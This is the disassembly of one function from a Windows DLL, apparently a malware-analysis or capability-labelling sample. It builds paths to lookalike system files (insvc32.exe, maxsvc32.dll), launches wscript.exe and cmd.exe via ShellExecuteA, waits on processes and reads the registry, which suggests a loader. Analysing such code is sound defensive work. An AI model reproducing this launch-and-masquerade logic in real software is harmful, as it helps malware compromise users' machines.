Function at 0x1800014a0
Capabilities:
Create process on windows
Get common file path
Query or enumerate registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x160
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov r12d, ecx
lea rcx, [rsp + 0x41]
xor esi, esi
xor edx, edx
mov r8d, 0x103
xor ebp, ebp
mov byte [rsp + 0x40], sil
call sub.MSVCR90.dll_memset
or rbx, 0xffffffffffffffff
xor eax, eax
lea rdi, [0x180007cf0]
mov rcx, rbx
repne scasb al, byte [rdi]
lea r14d, [rbp + 1]
mov r15d, 0x104
not rcx
cmp rcx, r14
jne 0x180001574
lea rcx, [0x180007cf0]
mov r8, r15
xor edx, edx
call sub.MSVCR90.dll_memset
lea rcx, [0x180007cf0]
mov edx, r15d
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor eax, eax
lea rdi, [0x180007cf0]
mov rcx, rbx
repne scasb al, byte [rdi]
movzx eax, word [0x180006384]
mov rcx, rbx
sub rdi, r14
mov word [rdi], ax
xor eax, eax
lea rdi, [0x180007cf0]
repne scasb al, byte [rdi]
mov rax, qword [str.insvc32.exe]
sub rdi, r14
mov qword [rdi], rax
mov eax, dword [0x180006390]
mov dword [rdi + 8], eax
xor eax, eax
lea rdi, [0x180007e00]
mov rcx, rbx
repne scasb al, byte [rdi]
not rcx
cmp rcx, r14
jne 0x1800015ee
lea rcx, [0x180007e00]
mov r8, r15
xor edx, edx
call sub.MSVCR90.dll_memset
mov edx, r15d
lea r15, [0x180007e00]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryA]
xor eax, eax
mov rdi, r15
mov rcx, rbx
repne scasb al, byte [rdi]
movzx eax, word [0x180006384]
mov rcx, rbx
sub rdi, r14
mov word [rdi], ax
xor eax, eax
mov rdi, r15
repne scasb al, byte [rdi]
mov rax, qword [str.maxsvc32.dll]
sub rdi, r14
mov qword [rdi], rax
mov eax, dword [0x1800063a0]
mov dword [rdi + 8], eax
mov al, byte [0x1800063a4]
mov byte [rdi + 0xc], al
xor eax, eax
lea r15, [0x180007f10]
mov rcx, rbx
mov rdi, r15
repne scasb al, byte [rdi]
not rcx
cmp rcx, r14
jne 0x18000165b
mov edi, 0x104
xor edx, edx
mov rcx, r15
mov r8, rdi
call sub.MSVCR90.dll_memset
mov edx, edi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryA]
xor eax, eax
mov rdi, r15
mov rcx, rbx
repne scasb al, byte [rdi]
movzx eax, word [0x180006384]
mov rcx, rbx
sub rdi, r14
mov word [rdi], ax
xor eax, eax
mov rdi, r15
repne scasb al, byte [rdi]
mov rax, qword [str.wscript.exe]
sub rdi, r14
mov qword [rdi], rax
mov eax, dword [0x1800063b0]
mov dword [rdi + 8], eax
mov edi, dword [0x180007ce0]
and dword [rsp + 0x30], esi
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.IsWow64Process
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1800079d0], rax
test rax, rax
je 0x1800016bd
mov r8d, edi
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x1800016bd
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [0x1800079d0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x30], esi
jne 0x180001735
lea rcx, str.wscript.exe
mov edx, r14d
call fcn.180001398
test eax, eax
jne 0x1800016fa
and dword [rsp + 0x28], esi
and qword [rsp + 0x20], rsi
xor r9d, r9d
mov r8, r15
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edi, 0x64
mov ebx, edi
mov ecx, edi
sub ebx, r14d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.wscript.exe
mov edx, r14d
call fcn.180001398
test eax, eax
jne 0x180001728
test ebx, ebx
jg 0x180001701
jmp 0x1800017ad
mov ecx, 0x32c8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1800017a3
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edi, 0x64
mov ebx, edi
mov ecx, edi
sub ebx, r14d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.z.exe
mov edx, r14d
call fcn.180001398
test eax, eax
jne 0x18000176b
test ebx, ebx
jg 0x180001747
jmp 0x180001783
mov ecx, 0x32c8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x63
call fcn.180002620
mov esi, r14d
cmp r12d, 6
jne 0x18000179b
test esi, esi
jne 0x18000179b
xor ecx, ecx
call fcn.180002620
xor eax, eax
jmp 0x180001899
cmp dword [0x180007c70], ebp
jne 0x1800017ad
mov ecx, 0x58
call fcn.180002620
mov r8d, dword [0x180007ce0]
lea r9, [0x180007e00]
lea rdx, str._d__s
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCR90.dll_sprintf]
and dword [rsp + 0x28], ebp
and qword [rsp + 0x20], rbp
lea r9, [rsp + 0x40]
lea r8, [0x180007cf0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ebx, edi
mov ecx, edi
sub ebx, r14d
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x1800079d8]
and dword [rsp + 0x30], ebp
lea rax, [rsp + 0x34]
lea rdx, [0x1800072b0]
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x34], 4
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov r11d, dword [rsp + 0x30]
mov dword [0x180007c70], r11d
cmp r11d, r14d
je 0x18000184a
test ebx, ebx
jg 0x1800017ee
jmp 0x18000184d
mov ebp, r14d
cmp r11d, r14d
jne 0x180001897
cmp esi, r14d
jne 0x180001897
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
lea r9, [0x180007b60]
lea r8, str.cmd.exe
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp r12d, 6
jne 0x180001897
lea rcx, str.Themes
call fcn.1800012d0
mov eax, ebp
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1800047b0
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret